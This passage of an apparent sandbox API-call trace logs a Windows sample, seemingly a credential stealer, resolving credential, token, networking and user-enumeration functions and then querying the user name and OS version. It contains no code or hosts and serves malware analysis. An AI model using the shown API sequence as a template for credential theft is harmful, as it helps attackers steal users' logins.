ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd1700) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="lstrcmpW" | out: DestinationString="lstrcmpW") [0056.039] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="lstrcmpW", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd5929) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="WideCharToMultiByte" | out: DestinationString="WideCharToMultiByte") [0056.039] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd170d) returned 0x0 [0056.039] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetPrivateProfileIntA" | out: DestinationString="GetPrivateProfileIntA") [0056.040] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetPrivateProfileIntA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dfcdd7) returned 0x0 [0056.040] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetWindowsDirectoryA" | out: DestinationString="GetWindowsDirectoryA") [0056.040] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75df2b0a) returned 0x0 [0056.040] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetProcAddress" | out: DestinationString="GetProcAddress") [0056.040] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd1222) returned 0x0 [0056.040] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetLocaleInfoA" | out: DestinationString="GetLocaleInfoA") [0056.040] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetLocaleInfoA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75ded5e5) returned 0x0 [0056.040] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="lstrcmpA" | out: DestinationString="lstrcmpA") [0056.040] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75deeceb) returned 0x0 [0056.040] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CloseHandle" | out: DestinationString="CloseHandle") [0056.040] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd1410) returned 0x0 [0056.040] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="lstrcmpiA" | out: DestinationString="lstrcmpiA") [0056.040] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd3e8e) returned 0x0 [0056.040] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="LCMapStringA" | out: DestinationString="LCMapStringA") [0056.040] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="LCMapStringA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dfbc39) returned 0x0 [0056.041] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GlobalUnlock" | out: DestinationString="GlobalUnlock") [0056.041] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75decfdf) returned 0x0 [0056.041] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="Sleep" | out: DestinationString="Sleep") [0056.041] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd10ff) returned 0x0 [0056.041] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GlobalLock" | out: DestinationString="GlobalLock") [0056.041] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75ded0a7) returned 0x0 [0056.041] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="lstrlenA" | out: DestinationString="lstrlenA") [0056.041] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd5a4b) returned 0x0 [0056.041] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="ExitProcess" | out: DestinationString="ExitProcess") [0056.041] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd7a10) returned 0x0 [0056.041] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="LoadLibraryA" | out: DestinationString="LoadLibraryA") [0056.041] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd49d7) returned 0x0 [0056.041] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetTickCount" | out: DestinationString="GetTickCount") [0056.041] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dd110c) returned 0x0 [0056.041] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RtlUnwind" | out: DestinationString="RtlUnwind") [0056.041] LdrGetProcedureAddress (in: BaseAddress=0x75dc0000, Name="RtlUnwind", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75dfd1c3) returned 0x0 [0056.042] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="USER32.dll" | out: Destination="USER32.dll") returned 1 [0056.042] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="USER32.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x757e0000) returned 0x0 [0056.042] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="FindWindowExA" | out: DestinationString="FindWindowExA") [0056.042] LdrGetProcedureAddress (in: BaseAddress=0x757e0000, Name="FindWindowExA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x758000d9) returned 0x0 [0056.042] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="SendMessageA" | out: DestinationString="SendMessageA") [0056.042] LdrGetProcedureAddress (in: BaseAddress=0x757e0000, Name="SendMessageA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7580612e) returned 0x0 [0056.042] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="SendMessageW" | out: DestinationString="SendMessageW") [0056.042] LdrGetProcedureAddress (in: BaseAddress=0x757e0000, Name="SendMessageW", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x757f9679) returned 0x0 [0056.042] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="wsprintfA" | out: DestinationString="wsprintfA") [0056.042] LdrGetProcedureAddress (in: BaseAddress=0x757e0000, Name="wsprintfA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7580ae5f) returned 0x0 [0056.042] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetClassNameA" | out: DestinationString="GetClassNameA") [0056.042] LdrGetProcedureAddress (in: BaseAddress=0x757e0000, Name="GetClassNameA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x758079df) returned 0x0 [0056.042] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="ADVAPI32.dll" | out: Destination="ADVAPI32.dll") returned 1 [0056.042] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ADVAPI32.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x77280000) returned 0x0 [0056.042] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CredEnumerateA" | out: DestinationString="CredEnumerateA") [0056.042] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="CredEnumerateA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x772c7381) returned 0x0 [0056.042] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="FreeSid" | out: DestinationString="FreeSid") [0056.043] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="FreeSid", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7729412e) returned 0x0 [0056.043] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="AllocateAndInitializeSid" | out: DestinationString="AllocateAndInitializeSid") [0056.043] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="AllocateAndInitializeSid", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x772940e6) returned 0x0 [0056.043] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RegOpenKeyExA" | out: DestinationString="RegOpenKeyExA") [0056.043] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="RegOpenKeyExA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x77294907) returned 0x0 [0056.043] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="LookupPrivilegeValueA" | out: DestinationString="LookupPrivilegeValueA") [0056.043] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="LookupPrivilegeValueA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7729404a) returned 0x0 [0056.043] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RegCreateKeyA" | out: DestinationString="RegCreateKeyA") [0056.043] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="RegCreateKeyA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7728cd01) returned 0x0 [0056.043] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RegQueryValueExA" | out: DestinationString="RegQueryValueExA") [0056.043] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="RegQueryValueExA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x772948ef) returned 0x0 [0056.043] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RegSetValueExA" | out: DestinationString="RegSetValueExA") [0056.043] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="RegSetValueExA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x772914b3) returned 0x0 [0056.043] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="IsTextUnicode" | out: DestinationString="IsTextUnicode") [0056.043] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="IsTextUnicode", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7729448e) returned 0x0 [0056.043] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="OpenProcessToken" | out: DestinationString="OpenProcessToken") [0056.044] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="OpenProcessToken", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x77294304) returned 0x0 [0056.044] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RegCloseKey" | out: DestinationString="RegCloseKey") [0056.044] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="RegCloseKey", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7729469d) returned 0x0 [0056.044] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RegOpenKeyA" | out: DestinationString="RegOpenKeyA") [0056.044] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="RegOpenKeyA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7728cc15) returned 0x0 [0056.044] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RegEnumKeyExA" | out: DestinationString="RegEnumKeyExA") [0056.044] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="RegEnumKeyExA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x77291481) returned 0x0 [0056.044] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CredFree" | out: DestinationString="CredFree") [0056.044] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="CredFree", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7728b2ec) returned 0x0 [0056.044] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="LogonUserA" | out: DestinationString="LogonUserA") [0056.044] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="LogonUserA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x772c2654) returned 0x0 [0056.044] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetUserNameA" | out: DestinationString="GetUserNameA") [0056.044] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="GetUserNameA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x772aa4b4) returned 0x0 [0056.044] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="RevertToSelf" | out: DestinationString="RevertToSelf") [0056.044] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="RevertToSelf", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x77291562) returned 0x0 [0056.044] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="ImpersonateLoggedOnUser" | out: DestinationString="ImpersonateLoggedOnUser") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="ImpersonateLoggedOnUser", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7728c57a) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="AdjustTokenPrivileges" | out: DestinationString="AdjustTokenPrivileges") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="AdjustTokenPrivileges", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7729418e) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CheckTokenMembership" | out: DestinationString="CheckTokenMembership") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="CheckTokenMembership", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7728df04) returned 0x0 [0056.045] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="SHELL32.dll" | out: Destination="SHELL32.dll") returned 1 [0056.045] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SHELL32.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x75fe0000) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="SHGetFolderPathA" | out: DestinationString="SHGetFolderPathA") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x75fe0000, Name="SHGetFolderPathA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x760f7804) returned 0x0 [0056.045] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="ole32.dll" | out: Destination="ole32.dll") returned 1 [0056.045] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ole32.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x752e0000) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="OleInitialize" | out: DestinationString="OleInitialize") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x752e0000, Name="OleInitialize", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x752fefd7) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="GetHGlobalFromStream" | out: DestinationString="GetHGlobalFromStream") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x752e0000, Name="GetHGlobalFromStream", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x753041d5) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CreateStreamOnHGlobal" | out: DestinationString="CreateStreamOnHGlobal") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x752e0000, Name="CreateStreamOnHGlobal", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x7530363b) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CoCreateGuid" | out: DestinationString="CoCreateGuid") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x752e0000, Name="CoCreateGuid", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x753215d5) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CoTaskMemFree" | out: DestinationString="CoTaskMemFree") [0056.045] LdrGetProcedureAddress (in: BaseAddress=0x752e0000, Name="CoTaskMemFree", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75336f41) returned 0x0 [0056.045] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="CoCreateInstance" | out: DestinationString="CoCreateInstance") [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x752e0000, Name="CoCreateInstance", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x75329d0b) returned 0x0 [0056.046] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="WS2_32.dll" | out: Destination="WS2_32.dll") returned 1 [0056.046] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="WS2_32.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x76dd0000) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x15, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd41b6) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x13, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd6f01) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x17, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd3eb8) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x3, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd3918) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x34, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76de7673) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x4, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd6bdd) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x9, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd2d8b) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x73, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd3ab2) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0xb, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd311b) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x10, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd6b0e) returned 0x0 [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76dd0000, Name=0x0, Ordinal=0x12, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76dd6989) returned 0x0 [0056.046] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="SHLWAPI.dll" | out: Destination="SHLWAPI.dll") returned 1 [0056.046] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SHLWAPI.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x76f10000) returned 0x0 [0056.046] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="StrRChrIA" | out: DestinationString="StrRChrIA") [0056.046] LdrGetProcedureAddress (in: BaseAddress=0x76f10000, Name="StrRChrIA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76f4e13f) returned 0x0 [0056.046] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="StrCmpNIA" | out: DestinationString="StrCmpNIA") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x76f10000, Name="StrCmpNIA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76f1d11c) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="StrStrA" | out: DestinationString="StrStrA") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x76f10000, Name="StrStrA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76f3c45b) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="StrStrIW" | out: DestinationString="StrStrIW") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x76f10000, Name="StrStrIW", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76f246e9) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="StrToIntA" | out: DestinationString="StrToIntA") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x76f10000, Name="StrToIntA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76f3cd65) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="StrStrIA" | out: DestinationString="StrStrIA") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x76f10000, Name="StrStrIA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76f1d250) returned 0x0 [0056.047] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="WININET.dll" | out: Destination="WININET.dll") returned 1 [0056.047] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="WININET.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x76e10000) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="InternetCrackUrlA" | out: DestinationString="InternetCrackUrlA") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="InternetCrackUrlA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76e1d075) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="InternetCreateUrlA" | out: DestinationString="InternetCreateUrlA") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="InternetCreateUrlA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x76e2dbcd) returned 0x0 [0056.047] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="urlmon.dll" | out: Destination="urlmon.dll") returned 1 [0056.047] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="urlmon.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x76ff0000) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="ObtainUserAgentString" | out: DestinationString="ObtainUserAgentString") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x76ff0000, Name="ObtainUserAgentString", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x77021d76) returned 0x0 [0056.047] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="NETAPI32.dll" | out: Destination="NETAPI32.dll") returned 1 [0056.047] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETAPI32.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x749d0000) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="NetApiBufferFree" | out: DestinationString="NetApiBufferFree") [0056.047] LdrGetProcedureAddress (in: BaseAddress=0x749d0000, Name="NetApiBufferFree", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x749c13d2) returned 0x0 [0056.047] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="NetUserEnum" | out: DestinationString="NetUserEnum") [0056.048] LdrGetProcedureAddress (in: BaseAddress=0x749d0000, Name="NetUserEnum", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x749859cf) returned 0x0 [0056.048] RtlCreateUnicodeStringFromAsciiz (in: Destination=0x21fe20, Source="USERENV.dll" | out: Destination="USERENV.dll") returned 1 [0056.048] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="USERENV.dll", BaseAddress=0x21fe34 | out: BaseAddress=0x21fe34*=0x749f0000) returned 0x0 [0056.048] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="UnloadUserProfile" | out: DestinationString="UnloadUserProfile") [0056.048] LdrGetProcedureAddress (in: BaseAddress=0x749f0000, Name="UnloadUserProfile", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x749f3e6f) returned 0x0 [0056.048] RtlInitAnsiString (in: DestinationString=0x21fe18, SourceString="LoadUserProfileA" | out: DestinationString="LoadUserProfileA") [0056.048] LdrGetProcedureAddress (in: BaseAddress=0x749f0000, Name="LoadUserProfileA", Ordinal=0x0, ProcedureAddress=0x21fe3c | out: ProcedureAddress=0x21fe3c*=0x749fe071) returned 0x0 [0056.048] LocalAlloc (uFlags=0x40, uBytes=0x181) returned 0x2be750 [0056.048] GetUserNameA (in: lpBuffer=0x2be750, pcbBuffer=0x21feb4 | out: lpBuffer="aDU0VK IWA5kLS", pcbBuffer=0x21feb4) returned 1 [0056.050] OleInitialize (pvReserved=0x0) returned 0x0 [0056.054] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x21fd10 | out: lpWSAData=0x21fd10) returned 0 [0056.060] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2cb330 [0056.060] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2cb3c8 [0056.060] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x2cb478 [0056.060] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x2cb528 [0056.060] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21fcfc | out: ppstm=0x21fcfc*=0x2c1a58) returned 0x0 [0056.061] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.061] IStream:Stat (in: This=0x2c1a58, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0xbc0d378) returned 0x0 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fcbc) returned 0x0 [0056.061] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb04) returned 0x0 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fafc) returned 0x0 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb18) returned 0x0 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb00) returned 0x0 [0056.061] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb5c) returned 0x0 [0056.061] GetVersionExA (in: lpVersionInformation=0x21fb60*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x21fb60*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, 